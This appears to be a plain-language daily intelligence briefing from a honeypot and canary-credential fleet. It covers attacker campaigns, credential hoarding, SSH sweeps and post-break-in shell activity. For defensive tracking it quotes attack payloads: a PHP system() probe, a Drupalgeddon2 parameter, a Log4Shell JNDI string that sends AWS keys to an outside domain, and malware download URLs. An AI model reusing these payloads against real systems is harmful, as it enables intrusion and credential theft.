Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №65 — PLAIN LANGUAGE

Period: 2026-10-27 07:34 – 2026-10-28 07:34 UTC (24h, day 63 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-28.md

What happened (plain)

Two new attackers flooded the fake WordPress password-checking endpoint (/xmlrpc.php) on two different sensors: one sent 14,438 batch password guesses at canary-farm-1 and was still sending them when the day closed, the other replayed the exact same run we saw two days ago — 9,807 guesses, 7,861 different message bodies, same fake browser — at ai-devbox-1. A brand-new attacker spent 13.5 hours trying four different code-execution tricks against lauterbourg-01-ts, the node with the fake PHP/Nextcloud surface, and left with nothing. TechTies ran its fourth straight day (43,046 events, 364 new fake credentials collected) and now holds 1,091 of our canary credentials over 6 days — the biggest pile any attacker has ever taken from this fleet. Nobody has used any stolen canary credential in AWS: that is the fourth empty-handed window in the last five. The IoT malware replay list skipped a day, which is why frantech-ts traffic fell 84%.

What it means (plain)

  1. The WordPress password-guessing attacks come from a rented tool that runs on a schedule, and two different customers used it today. The ai-devbox-1 attacker reproduced the exact run from №63 — 9,807 guesses, 7,861 distinct bodies, fake Chrome/89 — while the canary-farm-1 attacker ran a bigger version (14,712 distinct bodies) with fake Chrome/78. (High confidence the events are identical tooling — the counts and browser forgery match exactly; Moderate confidence it is one crew renting it out — shared tooling is proven, shared operators is a reading.)
  2. The shared "walk every config file" list is now a commodity that at least four different groups used in one day. TechTies (Germany), SI-CENSUS (Slovenia), a first-time MEVSPACE operator (Bulgaria), and Tc Datacenter (Lithuania) all ran the same directory-by-directory search. (High confidence they used the same list — identical path sequences and per-run marker files; Moderate on how they share it — we never saw the handoff.)
  3. The rebuilt lauterbourg node now attracts real break-in attempts, not just scanning. The new attacker looped four code-execution tricks for 13.5 hours, about 275 events per hour, five days after the rebuild. Every trick hit a decoy, and the attacker collected zero credentials. (High confidence on what happened; Moderate on what comes next — no malware payload was dropped yet.)
  4. The stolen-credential pile keeps growing and still nobody spends it. TechTies added 364 credentials to reach 1,091 over 6 days; 454 new credentials went to 27 collector addresses; none reached AWS. (High confidence on the zero — the alert pull covers the whole window; Moderate on why — hoarding for resale and slow use look the same from outside.)

Campaigns (who / what / what it means)

XMLRPC-BRUTE — batch password guessing against the fake WordPress

  • Who: 8.137.104.136 (Hangzhou Alibaba Advertising, China) hit canary-farm-1; 34.67.167.4 (Google LLC, US) hit ai-devbox-1. The campaign's earlier operator was 136.70.193.85 (also Google US). Three runs, three addresses, two hosting providers.
  • What they did: 34.67.167.4 sent 9,807 POSTs in 36 minutes (04:47–05:23 stored) with 7,861 distinct message bodies and a fake Chrome/89 browser — the exact counts of the №63 run. 8.137.104.136 sent 15,055 events / 14,438 guessing POSTs from 05:50 until the window closed (still running), 14,712 distinct bodies, fake Chrome/78. Each message is a system.multicall batch of wp.getUsersBlogs password checks. The fake WordPress answered every one with a success code.
  • What it means: this is a password-checking service that different people rent or share, and it runs on a schedule. The decoy fed it noise at full speed and nothing leaked. Watch the farm run's final size in the next digest, a third operator address, and whether the 14,712-body list grows.

CALC-ORACLE-KIT — new, four code-execution tricks in a 13.5-hour loop

  • Who: 152.236.14.113 (Latitude.sh, Canada), one address, plus 8 stray events on ai-devbox-1, sponge-01-ts, netcup-ts, and canary-farm-1.
  • What they did: on lauterbourg-01-ts from 16:38 to 06:10 stored (13.5 hours, ~275 events/hour, 3,727 events on 7 paths): phpunit eval-stdin.php probes ×921 with the body <?= system('echo $((40836*49255))');?>; Drupalgeddon2 registration-form tricks ×477 with mail[#post_render][]=system and a math-test command; 478 file-upload attempts against the wp-file-manager plugin (multipart form, boundary wf100fthlq341ie, file ww6aism2wj51s.php, body starts <?php s… — a webshell); and 1,400 hits on the node's own php2shell trap surface plus 451 form profiles on /admin. Every trick contains the same idea: run a small multiplication in the operating system and see if the answer comes back — a yes/no test for "can I run commands?" 0 credentials taken.
  • What it means: this attacker wants to run code, not steal config files — the first multi-trick code-execution campaign on the rebuilt node. The traps answered every stage. Whether any test ever returned "yes" is the biggest open question on this node (see Open questions). Watch for a follow-up payload, a second address, and more lauterbourg legs.

TECHTIES-KIT — the daily config-file walker that hoards everything

  • Who: 93.152.221.96 (TechTies Inc., Germany) — one address, fourth straight day, no rotation.
  • What they did: repeated walks on canary-farm-1 (24,905 events / 3,868 POSTs, 04:54–18:58 stored), ru-edge-1 (14,771 / 1,225), control-1 (3,370 / 368) — 43,046 events and 5,461 POSTs in total. Each walk: tarpit, marker file, /.env (minted), 20+ directory .env variants, phpMyAdmin, phpunit, Tomcat, cloud credential files. New today: a full sweep of WordPress config backups (/wp-config.bak, .orig, .php.txt, .old, .swo, .swp, .dist, .save, and more) on all three sensors. The Log4Shell injection below rode along. 364 new credentials (1,091 over 6 days).
  • What it means: the kit runs daily, never changes address, and keeps every credential we feed it. Its list is now shared with at least three other groups. Watch for any AWS use of the 1,091, a second TechTies address, and a malware stage after the code-execution probes.

JNDI-FIELD-INJECT — Log4Shell text hidden in identity fields, third run

  • Who: 93.152.221.96 (TechTies) on every event — it rides inside the TECHTIES-KIT walk. The №60 operator (an Amazon US range) stayed away.
  • What they did: 425 events (canary-farm-1 268, ru-edge-1 128, control-1 29) from 04:58 to 21:22 stored: GET requests to / with the caller-identity field and the forwarding header set to ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} and the secret-key version. On a machine with a vulnerable Log4j parser, this would mail the AWS keys from environment variables to log4j.check. This one campaign accounts for all 425 single-entry header-forgeries the fleet counted today (normal is about zero).
  • What it means: same payload, same target (AWS keys), second operator on record — it is a technique, not a one-off. We cannot see DNS lookups to log4j.check, so callbacks stay unproven; the domain stays a live indicator. A measurable side effect: the junk fields caused 112 mint-call rejections at the PHP filter (see How the fleet behaved).

CREDENTIAL-DRAIN — the stolen-credential pipeline

  • Who: 454 credentials went to 27 collector addresses this window. Top takers: TechTies 364 (1,091 over 6 days), SI-CENSUS 57 (66 over 6 days), the ADMINER pool 6 (one each), 140.245.97.208 with 4.
  • What they did: nobody used any of them in AWS — the fourth no-use window in five. The two 41-credential piles from AI-EXEC-HUNT (136.65.203.248 and 136.66.182.42) still sit untouched. Mint failures rose to 56 rejected requests, all "400" errors, all explained below.
  • What it means: supply is at a record and demand is at zero. The first AWS alert against any of these piles will be the fleet's largest theft-to-use event so far.

WP-FORM-BRUTE — distributed fake-WordPress login guessing

  • Who: 121.40.140.50 (Hangzhou Alibaba, China) appears in today's digest only as a re-show of yesterday's run — its last event was 05:17 stored, inside yesterday's window, so it sent nothing new. The new faces are a layer of 20+ addresses with a fake Chrome/127 browser, plus the returning 9-address enum pool.
  • What they did: the new cluster 0d2aa6aee590 (first seen 10-28) is 5 addresses / 30 events on canary-farm-1, control-1, netcup-ts, and sponge-01-ts — each address tries 1–2 logins, alternating a probe and a password try, starting 19:53 stored 10-27. The returning enum cluster eee552d8955a ran 1,650 events from 6 addresses, and its Chrome/127 pool ran 21-event user-listing walks from 9 addresses (91.90.216.159, 131.153.203.225, 120.48.142.55, 47.108.131.1, 117.72.168.90, 43.161.244.154, 67.205.34.167, 208.109.33.98, 87.106.98.224).
  • What it means: the heavy numeric run stopped; the spread-out layer grows addresses while each one stays tiny. The decoys answered everything. The 200-password-pair alarm stays armed.

REGISTRY-HUNT / LeakIX — the docker-registry walkers, quiet day

  • Who: no runner wave today. 165.22.34.189 (DigitalOcean, US) walked the full 12-step path on canary-farm-1 (27 events).
  • What they did: four single-credential takes with LeakIX-marked user agents: 138.68.144.227 (canary-farm-1), 159.89.174.87 (control-1), 146.190.242.161 (ai-devbox-1), and 45.138.12.51 using its honest l9explore/1.2.2 name.
  • What it means: the collector visited lightly instead of waving — the evening mint routine did not repeat. The 4 fresh credentials are the ones to watch for first use.

Light watchers (smaller visitors worth naming)

  • SI-CENSUS (102.220.163.241, Slovenia) — jumped from light visitor to the day's second-biggest credential collector: 1,097 events on canary-farm-1, 515 on ru-edge-1, 515 on ai-devbox-1, 81 on control-1 (2,208 total), 57 credentials (66 over 6 days), fake Chrome/126. Third window, each bigger than the last.
  • New faces on the shared config list: 194.180.49.41 (MEVSPACE sp. z o.o., Bulgaria) ran the full 511-path walk on ai-devbox-1, ru-edge-1, and control-1 (514 events each, fake Chrome/126, three ~20-minute legs), 1 credential. 45.138.12.16 (Tc Datacenter, Lithuania) walked all 8 sensors (803 events) and minted.
  • ADMINER-SWARM — about 40 addresses from the 173.239.214.x pool worked in aidev+ru-edge+farm trios (28 cross-sensor rows, 17–42 events each) and took 6 credentials, one per address.
  • 140.245.97.208 (Oracle, US) — fourth window, minted on 4 sensors (4 credentials, 10 over 6 days) with the block's fake Chrome/39.
  • 8.217.152.4 (Alibaba) — first sighting; minted on ru-edge-1 and canary-farm-1 with a fake Safari/17.3.1.
  • Also minting small amounts: 46.151.178.15 (8 over 6 days), 93.152.209.6 (5 over 6 days), 165.227.102.187 (7 over 6 days), 213.209.159.154 (20 over 6 days), 23.239.27.128 (3 in one day), 185.177.72.9 (3 over 6 days, all its mint tries got 400s).
  • 188.166.247.29 (DigitalOcean, Singapore) — 518 events on 217 paths in one minute on frantech-ts (01:33 stored), plain Go-http-client; caused the node's webshell-probe spike (11.1×). One burst; watch for a repeat.
  • Regulars we classify as research, not hostile: 93.174.93.12 (7 sensors, 387 events), 89.248.172.33 (7 sensors, 376), 45.198.224.125 (8 sensors, 72), 34.140.3.155 (7 sensors, 25), 192.236.202.11 (6 sensors, 47). Honest user agents, shallow visits.
  • New tool names: zenox-opendir-discovery/1.0 (sponge-01-ts) and symfony-scanner (canary-farm-1) appeared for the first time, plus a fake Chrome/155. sponge-01-ts also logged a break-in path that carries its own download address: it fetches kla.sh and IoT binaries from 193.32.162.163 — a new staging-host candidate; we match future sightings by file hash, not address.

Standing actors (who keeps coming back)

  • 93.152.221.96 (TechTies) — fourth window in a row: 525 events / 8 credentials (№63) → 48,329 / 714 (№64) → 43,046 / 364 (№65). The daily volume leveled off at kit scale; the credential pile is the number that matters.
  • SI-CENSUS / 102.220.163.241 — third window: 13 events / 3 credentials (№64) → 2,208 / 57 (№65). The fastest ramp of any config-list operator we have recorded.
  • 45.138.12.x (Tc Datacenter, Lithuania) — fourth window; today the block's new address .16 walked all 8 sensors.
  • REGISTRY-HUNT runners (DigitalOcean pool) — present every window on record; much quieter today.
  • 140.245.97.208 (Oracle, US) — fourth window, minted in each of the last three.
  • The four SSH sweep tools (GO-SSH-SWEEP, GO-SCATTER-SWEEP, GO-SPRAY-SWEEP, LIBSSH-MASSSWEEP) — all present at the network layer; GO-SPRAY-SWEEP re-crossed the dispersed threshold. Details below.

Network sweeps (Arkime) — SSH banner sweeps against the fleet's 8 public addresses

These sweeps never request a web page, so the web traps cannot see them; the pcap sensors can. Identity is the client's SSH fingerprint, never the source address — operators rotate addresses and keep the tool. Today: 161,849 inbound sessions, no new fingerprints, 3 sweeps flagged as dispersed.

  • LIBSSH-MASSSWEEP (f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6) — 5,770 sessions from 661 source addresses in 275 networks across 72 countries, day 39. Address count by day: 10-22: 314, 10-23: 443, 10-24: 617, 10-25: 579, 10-26: 599, 10-27: 653, 10-28: 225. It widened again (602 → 661 addresses).
  • GO-SPRAY-SWEEP (06ff3615a51b2af343ec22abc8e30bbc, banner ssh-2.0-go) — 20,867 sessions from 172 addresses in 72 networks across 31 countries. It re-crossed the dispersed line today: 41 → 172 addresses, its biggest day on record (peak 192). Hangzhou Alibaba tops its network list — the same provider family as the canary-farm-1 xmlrpc operator; we note the overlap without claiming a link.
  • GO-SCATTER-SWEEP (16443846184eafde36765c9bab2f4397, banner ssh-2.0-go) — 16,018 sessions from 55 addresses in 21 networks across 16 countries; it also crossed the line (32 → 55 addresses). Two sweeps crossing dispersed in one window is a first for this cycle.
  • GO-SSH-SWEEP (0a07365cc01fa9fc82608ba4019af499) — 28,794 sessions from 52 addresses in 9 networks; classified distributed, not dispersed. Its shell-side partners ran again on the honeypot (see below).
  • Smaller regulars: 03a80b21afa8… (LIBSSH-011-SWEEP) 207 sessions / 34 addresses; 084386fa7ae5… 36 / 34; dd9bcf093c35… 30 / 30 from a single network; e54ef3ec27fe… 33 / 19.
  • Heavy but still unnamed: 4e066189c3bb… ran 32,342 sessions at control-1 (15 days on record, second day in a row above 30k); 98ddc5604ef6… 2,976 (+1,102 in a day); 98f63c4d9c87… 4,327 (+200).
  • Bookkeeping note: the Arkime session tags disagree with the destination addresses today (bahrain-sponge-01-ts 58,196 equals control-1's count; contabo-sponge-02-ts 29,447 equals canary-farm-1's). The per-address table is the trustworthy one.

Canaries (minted and used) — fake credentials: how many were handed out, how many were spent

Summary: no canary credential was used in AWS during the window. The sensors minted 454 credentials to 27 collector addresses; none reached AWS. Funnel counts: 454 minted, 27 collectors, 0 used in AWS, 454 stolen with no observed use.

Per collector (address — sensor: mints this window; running total over 6 days):

  • 93.152.221.96 — canary-farm-1: 194; ru-edge-1: 111; control-1: 59 (364 total). 1,091 mints since 2026-10-21 23:57.
  • 102.220.163.241 — canary-farm-1: 32; control-1: 24; ru-edge-1: 1 (57 total). 66 mints since 2026-10-25 09:28.
  • 140.245.97.208 — canary-farm-1: 2; ai-devbox-1: 1; ru-edge-1: 1. 10 mints since 2026-10-21 05:57.
  • 213.209.159.154 — control-1: 2. 20 mints since 2026-10-21 19:49.
  • 103.214.20.52 — canary-farm-1: 1. First mint 2026-10-27 19:13.
  • 138.68.144.227 — canary-farm-1: 1. 4 mints since 2026-10-22 21:03.
  • 146.190.242.161 — ai-devbox-1: 1. 2 mints since 2026-10-26 20:55.
  • 155.117.232.31 — canary-farm-1: 1; control-1: 1. Since 2026-10-27 13:21.
  • 156.230.187.27 — ai-devbox-1: 1. First mint 2026-10-27 17:14.
  • 159.89.174.87 — control-1: 1. 2 mints since 2026-10-25 21:00.
  • 159.89.192.15 — canary-farm-1: 1. 2 mints since 2026-10-22 14:08.
  • 173.239.214.101 — ai-devbox-1: 1. First mint 2026-10-27 12:54.
  • 173.239.214.103 — ai-devbox-1: 1. First mint 2026-10-27 13:00.
  • 173.239.214.107 — ru-edge-1: 1. First mint 2026-10-27 14:11.
  • 173.239.214.108 — canary-farm-1: 1. First mint 2026-10-27 13:39.
  • 173.239.214.116 — canary-farm-1: 1. First mint 2026-10-27 13:39.
  • 173.239.214.117 — ai-devbox-1: 1. First mint 2026-10-27 12:54.
  • 194.180.49.41 — ai-devbox-1: 1. First mint 2026-10-27 23:22.
  • 199.101.198.16 — ai-devbox-1: 1. First mint 2026-10-27 23:24.
  • 23.239.27.128 — canary-farm-1: 1; control-1: 1; ru-edge-1: 1. Since 2026-10-27 11:54.
  • 45.138.12.16 — ai-devbox-1: 1. 2 mints since 2026-10-24 03:33.
  • 45.138.12.51 — canary-farm-1: 1. 5 mints since 2026-10-22 02:04.
  • 46.151.178.15 — ai-devbox-1: 1. 8 mints since 2026-10-25 17:05.
  • 64.89.161.85 — ai-devbox-1: 1. First mint 2026-10-27 23:26.
  • 8.217.152.4 — canary-farm-1: 1; ru-edge-1: 1. Since 2026-10-27 17:04.
  • 82.165.10.79 — control-1: 1. First mint 2026-10-27 08:32.
  • 93.152.209.6 — canary-farm-1: 1. 5 mints since 2026-10-22 02:01.

Persistent collectors still holding credentials with no AWS use (the longer-standing hoards): 93.152.221.96 1,091 (2026-10-21 23:57 → 2026-10-27 21:29); 102.220.163.241 66 (10-25 09:28 → 10-27 19:35); 136.65.203.248 41 (10-26 19:00); 136.66.182.42 41 (10-24 05:03); 213.209.159.175 22 (10-21 05:59 → 10-23 15:04); 213.209.159.154 20 (10-21 19:49 → 10-27 11:08); 140.245.97.208 10 (10-21 05:57 → 10-28 00:54); 143.244.165.105 9 (10-21 18:02 → 10-23 21:39); 46.151.178.15 8 (10-25 17:05 → 10-28 03:15); 165.227.102.187 7 (10-21 16:37 → 10-27 03:24); 37.60.226.187 7 (10-21 08:52 → 10-21 21:45); 169.150.196.6 6 (10-25 03:05 → 03:29); 195.178.110.22 6 (10-24 06:41 → 06:53); 208.84.100.218 6 (10-21 03:34 → 10-26 03:41); 217.60.198.111 6 (10-21 03:45 → 03:54); 105.112.190.152 5 (10-26 06:26 → 07:47); 217.60.76.167 5 (10-24 07:47 → 10-26 20:44); 45.138.12.51 5 (10-22 02:04 → 10-27 20:02); 45.148.10.171 5 (10-21 16:14 → 10-22 00:53); 93.152.209.6 5 (10-22 02:01 → 10-27 11:26); 134.209.25.199 4 (10-23 18:47 → 10-26 21:06); 138.68.144.227 4 (10-22 21:03 → 10-27 20:56); 159.26.101.138 4 (10-23 16:04 → 16:21); 206.81.24.74 4 (10-21 20:01 → 10-25 21:04); 45.148.10.125 4 (10-23 01:44 → 04:39); 91.92.240.86 4 (10-25 13:52 → 21:58); 130.12.180.77 3 (10-27 06:26 → 06:29); 146.70.98.138 3 (10-24 20:46 → 10-25 20:51); 157.245.113.227 3 (10-23 18:48 → 10-24 20:05); 185.177.72.9 3 (10-23 13:14); 23.239.27.128 3 (10-27 11:54 → 17:27); 45.148.10.5 3 (10-22 00:28 → 10-25 02:19); 46.101.1.225 3 (10-24 04:32 → 10-26 21:46); 64.89.163.14 3 (10-21 08:34 → 10:53); 72.167.41.202 3 (10-21 17:47 → 18:25).

What this says: the piles keep growing and nobody spends. TechTies's 1,091 is the largest hostile-held stock in fleet history — bigger than every other named hoard put together. The first AWS alert against any of these will be the biggest theft-to-use event we have ever logged.

How the fleet behaved (Fleet Observations) — volumes, canary health, and housekeeping

  • Volumes and causes. canary-farm-1 rose 638% (45,508 events, 529 addresses): the xmlrpc flood 14,443 + TechTies 24,905 + their tarpit loops (18,386). ai-devbox-1 rose 626% (13,852, 390 addresses): the 9,815-event xmlrpc run is 9,815 of those — 71% of the node's day. ru-edge-1 +5% (17,670 / 170): TechTies 14,771 plus 11,130 tarpit events — heavy but normal for it. control-1 +20% (5,138 / 112): TechTies's visit. frantech-ts fell 84% (1,427 / 65): the 13,776-path malware replay list skipped the day. lauterbourg-01-ts −10% (7,336 / 148): yesterday's numeric password run did not come back (today's rows for it are repeats from yesterday's window); CALC-ORACLE-KIT's 3,727 took its place. netcup-ts −18% (2,812) and sponge-01-ts −50% (1,379): the usual wp-login legs were absent.
  • Canary health. The digest counted 667 issued rows while the alert-side funnel counted 454 minted credentials — a known counting difference, unchanged. Mint failures jumped to 56 rejected requests (400 errors: canary-farm-1 27, ru-edge-1 14, ai-devbox-1 11, control-1 4) and the cause is clean: TechTies's flood pace got 24 /.env mint calls bounced, its 425 Log4Shell junk-filled requests caused 112 rejections at the PHP filter before any mint, and the rest are about 20 one-off bounces spread over 15 other addresses. No broken keys, no 401s. lauterbourg-01-ts minted 0 — by design, it carries no key.
  • Attribution and TLS. All 425 single-entry header-forgeries were TechTies's Log4Shell strings, and the real connection address gave TechTies away on every row, so the forged fields never fooled anyone. Other header counts: 2,615 requests carried any forwarding header, 480 carried one that agreed with the connection, 0 carried multi-entry chains. TLS: lauterbourg 111 of 7,336 events on https (1.5%); canary-farm-1 707; ai-devbox-1 892. The raw-IP hostnames took most traffic again (canary-farm-1 109.123.246.142 44,500; lauterbourg 89.116.25.211 7,129); the fake-Nextcloud hostname's crawler wave from yesterday passed, and sso.rightabouteverything.show took 986 on farm.
  • control-1 discovery ramp. Day 45 of the fresh-address experiment: 5,138 events / 112 unique addresses. Unique addresses sat under the 7-day average (127) for the second day in a row (130 → 112). Two days is not a trend; a third would be.
  • Known digest quirks seen today. Yesterday's lauterbourg password run (121.40.140.50, 2,442 rows, last event 05:17 stored) reappeared in today's top-talkers because the window overlaps — checked, no new guesses. Yesterday's xmlrpc burst did not reappear this time — both are sync-timing effects. The first-seen table again stamped whole sync batches with one arrival time (03:16:23 stored across six sensors) — arrival times, not observation times. All timestamps in these reports are stored digits with a known +4 h cast.
  • Fleet-side changes. None — no node, config, or pipeline changes this cycle. The visuals dashboard got routine status updates for 11 campaigns and a new chain for CALC-ORACLE-KIT.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

This is the one machine where attackers get a fake Linux shell, so it shows what they do after a break-in.

  • The funnel. 757 addresses sent passwords → 578 got a shell (76%) → 502 ran a command (87% of those who got in, 66% of all senders). By events: 8,110 password tries → 4,335 accepted logins → 13,179 commands run (304% of accepted logins led to commands). Telnet took 543 tries.
  • New commands. None — 0 of 6,854 distinct commands were seen for the first time. When a genuinely new command appears here, it is the single most important post-break-in signal we have.
  • Recurring activity (context, not news). The hardware survey (uname, CPU checks) ran from 109.160.32.44 and its neighbors (2,615 command events) — the same block GO-SSH-SWEEP uses, so the network scan and the shell work look like one operation. The SSH backdoor pair (unlock .ssh, then append an attacker key — seen from 466 and 394 addresses) is commodity botnet routine. The GPU-inventory survey (lspci | grep VGA… and friends) ran from 103.159.2.113 and 6 neighbors (1,058 events) — attackers checking for graphics cards worth crypto-mining on; new source block this cycle (the old one was 209.99.190.186), so two survey crews now rotate.
  • Passwords. 2,726 distinct pairs offered, 0 new. The 345gs5662d34 family took 1,737 of 8,110 tries (934 as user 345gs5662d34, 803 as root against 3245gs5662d34).
  • Malware download addresses (still one host's view, not a fleet number). Three new addresses appeared, all serving nothing we could capture (0 successful downloads): http://147.79.62.90/cat.sh (54 tries), http://147.79.62.90/$U (21 tries), and https://217.60.102.5/sh (4 tries; that address sits in the LIBREDTAIL staging range — a note, not a proven link). Long-standing servers kept working: 176.65.139.40's wget.sh/curl.sh pair (205 successful fetches each, scripts 7b8cd695424f / b965f772177c), the 4-architecture ELF bot set on 152.42.195.115 (main_arm7 201,396 bytes 62e3e86a7586, main_mips ec69d3e0d4d9, main_mpsl 1913ed2ad175, main_arm6 e27e963b2b49), and 176.65.139.157/telnet2.sh (ba9c9d9d361d). The full captured-payload list (20 files, hashes and sizes) is in the technical briefing; no new file was successfully served today.

Open questions

  1. Will anyone spend the 1,091 credentials? TechTies's pile is the largest on record. We pull AWS-use alerts first thing next cycle; first use will be the biggest theft-to-use event this fleet has logged.
  2. Did the 13.5-hour code-execution loop ever get a "yes"? The attacker ran its yes/no command test 1,849 times against lauterbourg-01-ts. We cannot yet see whether any test returned success — checking the trap surfaces' stored answers and the 478 upload attempts' file hashes is next cycle's first lauterbourg task.
  3. How big did the canary-farm-1 xmlrpc flood get? It was still running when the window closed. The next digest carries its final size — and shows whether it follows the usual pattern (one burst, then silence) and whether a third operator address joins.
  4. Is anyone watching log4j.check? Third window with that domain as a live payload target; our pipeline has no DNS view. Any sinkhole or passive-DNS source that could confirm or clear callbacks would close this gap.
  5. Who are the two unnamed heavy SSH fingerprints? 4e066189c3bb… (32,342 sessions at control-1, 15 days on record) and 98ddc5604ef6… (+1,102 in a day) — we register them if they cross a threshold or repeat at scale.
  6. How is the shared config-walk list spreading? Four groups ran it today (TechTies, SI-CENSUS, MEVSPACE, Tc Datacenter). Comparing their first-seen paths should show whether they all bought the same update — and whether a fifth buyer shows up.
  7. What do the three new malware addresses serve? 193.32.162.163 (seen on the flux side), 147.79.62.90, and 217.60.102.5 (honeypot side, all 0 successful downloads) — any successful fetch will name three new families. We match them by file hash, never by address.